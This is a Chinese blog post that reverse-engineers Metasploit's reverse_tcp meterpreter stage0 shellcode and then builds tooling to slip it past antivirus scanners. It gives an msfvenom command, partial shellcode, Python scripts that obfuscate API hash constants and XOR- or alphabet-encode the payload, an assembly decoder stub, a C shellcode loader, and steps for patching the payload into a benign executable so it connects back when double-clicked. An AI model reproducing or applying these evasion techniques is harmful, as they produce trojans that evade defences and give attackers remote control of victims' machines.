从meterpreter工作原理到免杀方式的分析

Meterpreter 工作原理

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LP
ORT=31012 -f c > test2.c

unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
...
...

这样一段由msf生成的meterpreter paylaod仅300字节的shellcode,到底是如何完成meterpreter强大的功能的?

为了求得解答,我们参阅rapid7 官方的博文

首先回答一个问题,什么是staged payload (即阶段形有效载荷)

根据博文中的解释,staged payload 一般使一种尽可能紧凑并且用于为后续攻击创造更好的执行环境(如更大的内存空间,应为二进制攻击往往能够存储shellcode的空间不多)

初始的shellcode往往被称为stage0,他一般会创建一个链接,并且从连接处获取更多载荷到内存空间中,一旦所有资源准备妥当,他将把控制流交给新的有效载荷,更具不同的形式还分reverse_tcp,reverse_http等等

由于阶段化,模块化的特点,使他容易拓展,不过他也有缺点,比如网络环境不好的情况,这时候需要考虑生成stageless版本的payload

艰难坎坷的payload落地

总的来说,只要第一阶段的payload能够在目标机上被执行,我们就能完成后续阶段的渗透工作方法一般是将payload嵌入到原本信任二进制执行文件中,欺骗诱使目标点击我们的木马,即可完成上线,听起来不错,可是metasploit毕竟是一个已经出现了很长一段时间的开源工具,其payload特征早已经被各大安全厂商研究透彻,并且已经写出了各种规则来查杀,笔者为了做一些测试,windows defender也是一个不放过

那么对于这样优秀的工具,如果根本用不了,那岂不是太可惜了。尽然有查杀技术,自然也有免杀技术,针对静态查杀,最好的方式自然就是,屏蔽原有的特征,改写payload,使用加密,或是插入大量花指令针对规则进行混淆,针对动态查杀,则可以行为自检,如果被监控,则不执行,针对流量msf自身还提供了带对称加密传输的版本

stage 0 payload 工作原理

竟然stage 0是唯一需要落地的过程,是查杀,反查杀斗争的开始,那我们得先搞清楚stage 0执行原理究竟是什么样的,如果能使stage 0的payload安然落地,那么可以说后续的攻击也能大概率能顺利进行

首先将payload,丢进反汇编器开始分析

debug029:00030000 cld
debug029:00030001 call    loc_30095

刚开始运行,就跳转了一个短片段开始执行

debug029:00030095 loc_30095:                              ; CODE XREF: debug029:00030001↑p
debug029:00030095 pop     ebp
debug029:00030096 push    3233h
debug029:0003009B push    5F327377h
debug029:000300A0 push    esp
debug029:000300A1 push    726774Ch
debug029:000300A6 mov     eax, ebp
debug029:000300A8 call    eax

注意刚刚跳转来实际上用的是call 也就是 push eip jmp loc_30095 这样的命令,刚来就使用了,pop ebp 这条指令eip被保存到ebp中去了,紧接着

push 3233  
push 5f327377  
push esp  
push 726774c  
mov eax,ebp   
call eax  

这段push,跟到栈中,实际上发现,就是将ws2_32字符串压到了栈里,并且 把字符串地址和726774c(这是loadlibraryA函数名的哈希值)作为参数,再次call回了ebp中保存的eip

这次的call同样使得当前的eip被保存了下来(这里要强调一下,这是payload控制执行流的巧妙之处),jmp回了起初的执行流

在这里插入图片描述
接着让我们看看下面的执行流

debug029:00030006 pusha
debug029:00030007 xor     edx, edx
debug029:00030009 mov     edx, fs:[edx+30h]
debug029:0003000D mov     edx, [edx+0Ch]
debug029:00030010 mov     edx, [edx+14h]
debug029:00030013 mov     ebp, esp

首先保存各寄存器状态值,其次再清空edx寄存器

接下来的操作,需要有关windows内部数据结构的基础知识,视角放在NT 32位系统下,我们来简单了解需要用到的数据结构,FS段寄存器保存了当前当前线程相关的信息结构叫做TIB也可以称之为TEB应为他就是TEB的第一字段

https://en.wikipedia.org/wiki/Win32_Thread_Information_Block

https://www.vergiliusproject.com/kernels/x86/Windows%2010/2009%2020H2%20(October%202020%20Update)/_PEB

struct _TEB32
{
    struct _NT_TIB32 NtTib;                                                 //0x0
    ULONG EnvironmentPointer;                                               //0x1c
    struct _CLIENT_ID32 ClientId;                                           //0x20
    ULONG ActiveRpcHandle;                                                  //0x28
    ULONG ThreadLocalStoragePointer;                                        //0x2c
    ULONG ProcessEnvironmentBlock;                                          //0x30
    ULONG LastErrorValue;                                                   //0x34
    ULONG CountOfOwnedCriticalSections;                                     //0x38
    ULONG CsrClientThread;                                                  //0x3c
    ULONG Win32ThreadInfo;        

....
....

在他的0x30偏移处保存了PEB(Process Enviroment Block)的线性地址,所以mov edx, fs:[edx+30h]这个操作实际上就是取出了PEB

struct _PEB
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages:1;                                    //0x3
            UCHAR IsProtectedProcess:1;                                     //0x3
            UCHAR IsImageDynamicallyRelocated:1;                            //0x3
            UCHAR SkipPatchingUser32Forwarders:1;                           //0x3
            UCHAR IsPackagedProcess:1;                                      //0x3
            UCHAR IsAppContainer:1;                                         //0x3
            UCHAR IsProtectedProcessLight:1;                                //0x3
            UCHAR IsLongPathAwareProcess:1;                                 //0x3
        };
    };
    VOID* Mutant;                                                           //0x4
    VOID* ImageBaseAddress;                                                 //0x8
    struct _PEB_LDR_DATA* Ldr;                                              //0xc
    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x1  

...  
...

来到 mov edx,fs:[edx+0x0c],由于edx现在保存的peb的信息,peb偏移0xc处,保存的是struct _PEB_LDR_DATA* Ldr一个指针,取出其中保存的地址,现在edx存储的实际就是 struct _PEB_LDR_DATA结构

struct _PEB_LDR_DATA
{
    ULONG Length;                                                           //0x0
    UCHAR Initialized;                                                      //0x4
    VOID* SsHandle;                                                         //0x8
    struct _LIST_ENTRY InLoadOrderModuleList;                               //0xc
    struct _LIST_ENTRY InMemoryOrderModuleList;                             //0x14
    struct _LIST_ENTRY InInitializationOrderModuleList;                     //0x1c
    VOID* EntryInProgress;                                                  //0x24
    UCHAR ShutdownInProgress;                                               //0x28
    VOID* ShutdownThreadId;                                                 //0x2c
}; 

mov edx, [edx+14h]指令实际上就是取出了InMemoryOrderModuleList结构中保存的值,也就是Flink

struct _LIST_ENTRY
{
    struct _LIST_ENTRY* Flink;                                              //0x0
    struct _LIST_ENTRY* Blink;                                              //0x4
}; 

两个指针分别指向其他模块的载入信息,各个载入的模块信息通过这个链表连接起来,这里有个小陷阱,Flink实际上是下一个模块的意思,Blink是上一个,这里可能会让人误解,这不是链接了同一个结构吗,哪有什么额外的信息,实际上这个结构出现在其他结构的子域中

struct _LDR_DATA_TABLE_ENTRY
{
    struct _LIST_ENTRY InLoadOrderLinks;                                    //0x0
    struct _LIST_ENTRY InMemoryOrderLinks;                                  //0x8
    struct _LIST_ENTRY InInitializationOrderLinks;                          //0x10
    VOID* DllBase;                                                          //0x18
    VOID* EntryPoint;                                                       //0x1c
    ULONG SizeOfImage;                                                      //0x20
    struct _UNICODE_STRING FullDllName;                                     //0x24
    struct _UNICODE_STRING BaseDllName;                                     //0x2c

...
...

PEB中的结构实际上含有刚刚内存中一个模块的信息入口结构,这个数据结构还保存了模块加载的基地址(DllBase)

最后再次保存esp到ebp,进入下一片段

debug029:00030015 loc_30015:                              ; CODE XREF: debug029:00030090↓j
debug029:00030015 xor     edi, edi
debug029:00030017 movzx   ecx, word ptr [edx+26h]
debug029:0003001B mov     esi, [edx+28h]

先来看下上面的 _UNICODE_STRING 结构

struct _UNICODE_STRING
{
    USHORT Length;                                                          //0x0
    USHORT MaximumLength;                                                   //0x2
    WCHAR* Buffer;                                                          //0x4
}; 

上面的 movzx ecx, word ptr [edx+26h] 实际上就是 MaximumLength 的值这个值,就是字符串缓冲区的大小 包括最后的空字符,至于mov esi, [edx+28h] 则实际上就是字符串缓冲区的地址

在这里插入图片描述
可以看到,指向的地址正式模块名,当前模块刚好就是a.exe主程序名

debug029:0003001E loc_3001E:                              ; CODE XREF: debug029:0003002D↓j
debug029:0003001E xor     eax, eax
debug029:00030020 lodsb
debug029:00030021 cmp     al, 61h
debug029:00030023 jl      short loc_30027
debug029:00030025 sub     al, 20h
debug029:00030027
debug029:00030027 loc_30027:                              ; CODE XREF: debug029:00030023↑j
debug029:00030027 ror     edi, 0Dh
debug029:0003002A add     edi, eax
debug029:0003002C dec     ecx
debug029:0003002D jnz     short loc_3001E

接下来这组代码,是个循环,不断读取字符串,同时做某种运算,最后产出的值在edi中

这里由于之前自己也写过shellcode,凭直觉,认为应该是产出了一个hash值


debug029:0003002F push    edx
debug029:00030030 mov     edx, [edx+10h]
debug029:00030033 mov     eax, [edx+3Ch]
debug029:00030036 add     eax, edx
debug029:00030038 mov     eax, [eax+78h]
debug029:0003003B push    edi
debug029:0003003C test    eax, eax
debug029:0003003E jz      short loc_3008C

这段代码,先保存了,edx这个模块信息的索引,然后edx+10h取出DllBase,模块基地址

然后又不知道操作了什么结构,经过add eax,edx后,eax变成了PE头的位置

在这里插入图片描述
既然通过某种方式由基地址定位到了PE头,那应该和PE的结构有关,去查阅相关资料

https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#ms-dos-stub-image-only

MS-DOS Stub (Image Only)
The MS-DOS stub is a valid application that runs under MS-DOS. It is placed at the front of the EXE image. The linker places a default stub here, which prints out the message "This program cannot be run in DOS mode" when the image is run in MS-DOS. The user can specify a different stub by using the /STUB linker option.

At location 0x3c, the stub has the file offset to the PE signature. This information enables Windows to properly execute the image file, even though it has an MS-DOS stub. This file offset is placed at location 0x3c during linking.

MS-DOS头是PE的开始,基地址处就是MS-DOS头,按照微软所述,0x3c偏移处保存了,距离PE头的偏移

所以,mov eax,[edx+3ch] add eax,edx 就是得到了PE头开始的地址

在这里插入图片描述

位于0x78位置,就可以得到函数导出表目录的偏移

struct _IMAGE_DATA_DIRECTORY
{
    ULONG VirtualAddress;                                                   //0x0
    ULONG Size;                                                             //0x4
}; 

SIZE则保存了,总共导出表的大小

test    eax, eax
debug029:0003003E jz      short loc_3008C
debug029:00030040 add     eax, edx

这一小段判断了,究竟是否存在导出表

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;   
    DWORD   TimeDateStamp;      
    WORD    MajorVersion;        
    WORD    MinorVersion;       
    DWORD   Name;               
    DWORD   Base;               
    DWORD   NumberOfFunctions;  
    DWORD   NumberOfNames;     
    DWORD   AddressOfFunctions;     
    DWORD   AddressOfNames;        
    DWORD   AddressOfNameOrdinals;  
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

更具上边的导出表目录结构指示,eax+18h实际上就是取得了导出函数名字的总数

而eax+20h则是名称字符串表的起始偏移地址

				  add     eax, edx
debug029:00030042 mov     ecx, [eax+18h]
debug029:00030045 push    eax
debug029:00030046 mov     ebx, [eax+20h]
debug029:00030049 add     ebx, edx

接下来这段代码,形式上应该也是哈希算法,循环取字符串数组中的每一个字符串

计算对应哈希值,与之前存到栈中的哈希ebp+24作比较,如果不同则继续下一个函数名称

debug029:0003004B loc_3004B:                              ; CODE XREF: debug029:00030069↓j
debug029:0003004B test    ecx, ecx
debug029:0003004D jz      short loc_3008B
debug029:0003004F xor     edi, edi
debug029:00030051 dec     ecx
debug029:00030052 mov     esi, [ebx+ecx*4]
debug029:00030055 add     esi, edx
debug029:00030057
debug029:00030057 loc_30057:                              ; CODE XREF: debug029:00030061↓j
debug029:00030057 xor     eax, eax
debug029:00030059 lodsb
debug029:0003005A ror     edi, 0Dh
debug029:0003005D add     edi, eax
debug029:0003005F cmp     al, ah
debug029:00030061 jnz     short loc_30057
debug029:00030063 add     edi, [ebp-8]
debug029:00030066 cmp     edi, [ebp+24h]
debug029:00030069 jnz     short loc_3004B

接下来,这个片段,是根据字符串序数,取出函数实际地址

debug029:0003006C mov     ebx, [eax+24h]
debug029:0003006F add     ebx, edx
debug029:00030071 mov     cx, [ebx+ecx*2]
debug029:00030075 mov     ebx, [eax+1Ch]
debug029:00030078 add     ebx, edx
debug029:0003007A mov     eax, [ebx+ecx*4]
debug029:0003007D add     eax, edx
debug029:0003007F mov     [esp+24h], eax

紧接着进行堆栈平衡,这个popa,还将上面得到LoadLibraryA函数地址返回给eax
在使用pop 恢复最早之前跳转来的地址,并将传入的哈希弹出
最后剩下的只有一开始的传来的ws2_32字符串地址作为参数,完美的成为了LoadLibraryA 的参数,最后通过jmp eax,整个过程好像没经历过函数地址的查询过程,完成了LoadLibraryA(“ws2_32”) 的调用,由于之前是call跳转过来查询函数地址的,windows又是stdcall,所以最后由内核空间也可以完美跳转回来

紧接着下面,就是对其他需要的api继续的搜索,调用,经过上面的分析后,其实下面的调用,已经如出一辙,
通过对关键call指令下断点,可以看出具体进行了怎样的调用

在这里插入图片描述
在这里插入图片描述

第一次recv,从服务器上获取了一个数字,更具后面的recv判断应该是,获取了第二阶段recv将收到的
所有字节数

virtualalloc更具数字开辟一个内存空间
在这里插入图片描述
再次recv数据到对应的内存空间中 ,刚好读取了0x10b字节的数据

在这里插入图片描述

尔后利用ret跳转到开辟的内存空间中执行指令

在这里插入图片描述

二阶段的payload的形式类似,也是查找API,执行API的过程,但由于这段指令不落地,所以相比一阶段更难以被查杀

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

另外选了两中不同的payload,但是大小一样,猜测stage0的payload可能都是这样一段接受代码,不过由于服务端设置的
paylaod不同,返回地数据不同

在这里插入图片描述

关于免杀的思考

竟然执行流程,搞清楚了,其实看下来这段payload特征的确十分明显,除了其中会出现的ws2_32这样的字眼还有就是连续的函数调用,在代码空间上都是紧挨着的,实际上这段代码,逻辑我们完全搞清了,完全可以自己写出结构不一样的payload(笔者之前学习写过一段500字节大小的反弹shell)

不过,我们现在考虑的是如何,直接在已有的msf payload上改造,调整,使其有能力进行免杀。

这里笔者准备使用pwntools并且在汇编级别进行payload的调整和开发。

从静态查杀的角度思考,自然可以通过描述关键指令的特征来对msf进行查杀,msf用的各种函数哈希值,可以明显被作为特征,又或者是其中出现的对TEB,PEB的取出各种数据结构的索引,包括哈希值的计算都是msf的指纹

从动态查杀的角度,msf的流量可以用自带的对称加密屏蔽,至于沙箱,应该可以通过自检测的代码,取消执行,防止被查杀

这里我们先探讨静态查杀,先来看看未经任何处理的msf payload在杀毒软件上效果如何

在这里插入图片描述

现在针对,之前提到的特殊哈希值和参数进行混淆处理,模糊特征

模糊混淆特征

我们的思路是这样的,用同等效力的指令代替掉原有的参数传递指令,比如针对push 0x726774c 这是一条将LoadLibrayA哈希入栈的指令,可以将它拆分为

 mov eax,0x7000000  
 add eax,0x26774c  
 push eax  

或是其它一些代换思路,对于直觉上认为会特征明显的代码块,插入花指令来混淆分析。现在,稍加处理,将所有函数哈希值混淆掉。我们再来观察免杀效果如何

针对这个思路,我首先将payload反汇编,在反汇编需要混淆的位置,插入了我们提前定义好的标签,然后编写了python脚本,解析汇编中的标签,插入混淆的指令,再将其翻译成payload

def confuse_push(reg,value):
        value = int(value,16)
        sub_val1 = random.randint(1,value-1)
        sub_val2 = value-sub_val1

        asm = "push {};\n".format(reg)
        asm += "mov {},{};\n".format(reg,hex(sub_val1))
        asm += "add {},{};\n".format(reg,hex(sub_val2))
        asm += "xchg {},[esp];".format(reg)

        return asm

_confuse_tag_pattern_ = "<\s*([a-zA-z]+)\s+value\=\((([a-zA-Z0-9_]+\,)*[a-zA-Z0-9_]+)\)\s*>"

def extract_tag(code):
        while re.search(_confuse_tag_pattern_,code):
                tag = re.search(_confuse_tag_pattern_,code)
                front = code[:tag.span()[0]]
                back = code[tag.span()[1]:]
                tag = tag.groups()
                confuse_type = tag[0]
                confuse_args = [arg.strip() for arg in tag[1].split(',')]
                if(confuse_type == "push"):
                        code = front + confuse_push(*confuse_args) + back
                return code
...
...
call_LoadLibraryA:
pop ebp;
<push value=(eax,0x3233)>
<push value=(eax,0x5f327377)>
push esp;
<push value=(eax,0x726774c)>
mov eax,ebp;
call eax;

call_WSAStartup:
mov eax,0x190;
sub esp,eax;
push esp;
push eax;
<push value=(eax,0x6b8029)>
call ebp;
push 0xa;

...
...

call_connect:
push 0x10;
push esi;
push edi;
<push value=(eax,0x6174a599)>
call ebp;
test eax,eax;
jz call_recv;
dec DWORD PTR [esi+8]
jnz call_connect

call_not_connect:
call call_exit;

call_recv:
push 0;
push 4;
push esi;
push edi;
<push value=(eax,0x5fc8d902)>
call ebp;
cmp eax,0;
jle call_not_recv;

call_VirtualAlloc:
mov esi,[esi];
push 0x40;
<push value=(eax,0x1000)>
push esi;
push 0;
<push value=(eax,0xe553a458)>
call ebp;
xchg eax,ebx;
push ebx;

...
...

call_not_recv:
push edi;
<push value=(eax,0x614d6e75)>
call ebp;
pop esi;
pop esi;
dec DWORD PTR [esp];
jnz call_WSASocket;
jmp call_not_connect;

...
...

在这里插入图片描述
看得出来,已经略有效果,不过手动对各处指令插入,混淆,工作量较大,同时也难以掌握诀窍

自编码解码

编码器,解码器,从全局的角度将payload混淆加密,最后产生的payload,其实需要我们主动去混淆的代码就被集中到了解码器的部分,所以,如果使用编码器处理paylload再针对解码器部分做混淆应该更能掌握要点

先来做个简单的异或自解码payload,来看看效果

为此我们参考,payload中查找VirtualAlloc,开辟内存空间的方式,编写自解码器

这段解码器的代码只需要直接插在正式payload头部即可使用,其核心技巧在于,在正式payload之间也是就解码器的尾部是一个call指令,call成功获取了正式payload存储的地址,而后将其解码并读取进VirtualAlloc开辟的内存空间(这似乎暴露了个明显特征),同时我设计了一个新的标签macro,用于复用这段代码,可以带入解码所用的key,以及payload的大小等必须参数

def confuse_macro(value):
        return _confuse_context_[value]  
        
def confuse_xor_encoder(decoder_key,code):
        encoded = ""
        for c in code:
                encoded += chr(ord(c)^int(decoder_key,16))
        return encoded  

def extract_tag(code):
        while re.search(_confuse_tag_pattern_,code):
                tag = re.search(_confuse_tag_pattern_,code)
                front = code[:tag.span()[0]]
                back = code[tag.span()[1]:]
                tag = tag.groups()
                confuse_type = tag[0]
                confuse_args = [arg.strip() for arg in tag[1].split(',')]
                if(confuse_type == "push"):
                        code = front + confuse_push(*confuse_args) + back
                elif(confuse_type == "macro"):
                        code = front + confuse_macro(*confuse_args) + back
        return code
jmp get_code_addr;

code_decoder:
xor edx,edx;
mov edx,fs:[edx+0x30];
mov edx,[edx+0x0c];
mov edx,[edx+0x1c];

mov edx,[edx];
mov ebx,[edx+0x08];

find_VirtualAlloc_for_decoder:
mov edx,[ebx+0x3c];
mov edx,[edx+ebx+0x78];
add edx,ebx;
push edx

mov edx,[edx+0x20];
add edx,ebx;

push ebx;

xor edi,edi;

next_function_loop_for_decoder:
inc edi;
mov esi,[edx+edi*4];
add esi,[esp];

xor ebx,ebx;
xor ecx,ecx;
xor eax,eax;

hash_loop_for_decoder:
lodsb;
cmp al,0x00;
je compare_hash_for_decoder;
rol ebx,0x8;
xor al,cl;
inc ecx;
add ebx,eax;
jmp hash_loop_for_decoder;
compare_hash_for_decoder:
cmp ebx,0x2c324026;
jnz next_function_loop_for_decoder;
pop ebx;
pop ecx;
mov edx,[ecx+0x24];
add edx,ebx;

mov di,[edx + 2*edi];
mov ecx,[ecx+0x1c];
add ecx,ebx;
add ebx,[ecx+4*edi];

call_VirtualAlloc_for_decoder:
push 0x40;
push 0x1000;
push <macro value=(payload_size)>;
push 0x0;
call ebx;
mov edi,eax;
mov esi,[esp];
mov [esp],edi;
mov ecx,<macro value=(payload_size)>;
xor eax,eax;

load_to_memory_for_decoder:
cmp ecx,0x0;
jz end_load_for_decoder;
lodsb;
xor al,<macro value=(decoder_key)>;
stosb;
dec ecx;
jmp load_to_memory_for_decoder;

end_load_for_decoder:
pop eax;
jmp eax;

get_code_addr:
call code_decoder;

生成payload

from AFool.template import *
from AFool.module.confuse import confuse_xor_encoder
from AFool import print_c_payload,confuse_context

decoder_key = "0x71"

confuse_context("decoder_key",decoder_key)
confuse_context("LHOST","0x100007f") #127.0.0.1
confuse_context("LPORT","0x2479") #31012

payload = default_payload("stage0")
payload = confuse_xor_encoder(decoder_key,payload)

confuse_context("payload_size",hex(len(payload)))

decoder = default_decoder("xor_decoder")

payload = decoder + payload

print "Generate Payload Size: {}".format(len(payload))

print print_c_payload(payload)

在这里插入图片描述

在这里插入图片描述
相比初始payload,已经提升了将近一倍的效果。不过在之后对解码器头部的混淆,效果都不明显,不知道分析引擎的具体技术,是不是包含了动态分析。还是说,异或加密算法,很容易被特征检测出来。总之看起来效果还是不错的

黑盒角度深入探究杀软引擎工作方式

再对解码头进行进一步混淆后,免杀效果几乎没有变化,笔者猜测,这里的引擎,是否存在动态行为检测机制 ,于是分两次,一次向decoder头部插入ret,这样根本不会解码,第二次直接向payload部分插入了一个ret,并且这次没有做混淆,这样即使解码,最后的payload还是不会执行

ret
cld;
call call_LoadLibraryA;
pusha;
mov ebp,esp;
xor edx,edx;
add edx,0x30
mov edx,fs:[edx];
push edx; 
...
...

再次上传分析
在这里插入图片描述

结果两次,看起来并没有产什么影响,网站的引擎应该不涉及动态分析

竟然不涉及动态分析,那么静态分析应该更多些,笔者再次混淆decoder,同时也混淆实际payload,再次上传查看效果

在这里插入图片描述
有些许效果,有些引擎这次并没能检查出来,注意到竟然不涉及到动态分析,不跟踪代码流程,剩下这些引擎就能查杀到这种地步,还能分析出样本是meterpreter,笔者猜测是否使用深度学习技术,并且用于学习的样本,自变化,包含了一些常见的编码样本,这次决定直接将编码后的payload上传分析,同时根本不包含解码器,这样这段代码,完全就没法执行,执行就会程序崩溃

在这里插入图片描述
结果似乎符合我们的预期,还是被查杀了

这样看来,很有可能是基于大样本训练出来的模型,这样的化如果我们想要静态免杀,可能需要对payload做更强的加密,简单的异或已经不能满足需求了

在后续的测试中,笔者切换了加密算法,同时调整,加载器的代码,但是仍然是这些引擎,会报毒,即使一些算法上无法解密的payload

加载器

typedef void (__stdcall *CODE) ();  

int main(){
	    PVOID p = NULL;  
    if ((p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)  
        MessageBoxA(NULL, "error", "info", MB_OK);  
    if (!(memcpy(p, buf, sizeof(buf))))  
        MessageBoxA(NULL, "error", "info", MB_OK);  
  
    CODE code =(CODE)p;  
  
    code();  
	return 0;
}

对于去掉加载器的,可执行程序,这段payload就相当于一段长长的字符串,杀软对他的自信心削弱了

在这里插入图片描述
甚至没有明显标注出他是meterpreter,但是再加上加载器后,即便加密的字符串,更本没法解密执行,有些引擎仍然认为他是meterpreter

在这里插入图片描述猜测,这些引擎,对于内存中出现的大段可能无意义的字符串表现很敏感,极大程度就把他当作是meterpreter,这点笔者自己写的shellcode部分引擎也认为他是meterpreter,从这个角度看,这些引擎实在也不高明

现在思路也许可以转换到,将payload分散布置在内存中,减少对加载器的依赖,同时最好使用类似base64这种能将payload编码成可见字符的编码器,也许可以降低杀软的敏感程度

为了验证新的思路,我设计了一种编码,将字符串编码到小写字母表中

def confuse_char_encoder(decoder_key,code):
        encoded = ""
        if len(code) % 2:
                code += "\x00"
        total = len(code) // 2
        while len(code):
                tmp = code[0:2]
                tmp = ord(tmp[0])*256 + ord(tmp[1])
                code = code[2:]
                tmp = tmp^(ord(decoder_key[0])*256+ord(decoder_key[1]))
                enc = ""
                while tmp > 25:
                        enc = chr(97+(tmp%26)) + enc
                        tmp = tmp // 26
                if tmp:
                        enc = chr(97+tmp) + enc
                if enc:
                        if not tmp:
                                enc = chr(97+tmp) + enc
                else:
                        enc = chr(97+tmp) + enc

                enc += " "
                encoded += enc

        return encoded.strip()

设计好解码器后,产出payload ,可以看到除了头部的解码器,其中包含大量明文
在这里插入图片描述
同时,几番测试,发现引擎很容易对体积小的控制台程序敏感,所以我选择用一个普通的弹窗程序,然后修改其二进制数据,插入payload

在这里插入图片描述
在这里插入图片描述
在对应main函数入口点,修改原来的二进制内容,插入我们的payload

服务端设好监听,双击已能连接上

在这里插入图片描述

再次上传分析

在这里插入图片描述
距离之前可用的木马,检出又少了2个,在编码,解码器,插入点,继续调优,相信应该是可以获得比较好的面纱能力的

最后让我们试着来调戏一下,杀软引擎,使用一串根本就是随机生成的字符串,来看看她是啥反应

import random

f = open("haha.txt","w")

for x in range(584):
       f.write("\\x"+hex(random.randint(0,255))[2:])

f.close()

编译后,上传再次分析

在这里插入图片描述

点名这个VBA32每次都是你,简直就是流氓查杀啊

代码地址

https://gitee.com/s0duku/confused-s0-duku/tree/master


版权声明:本文为jazrynwong原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。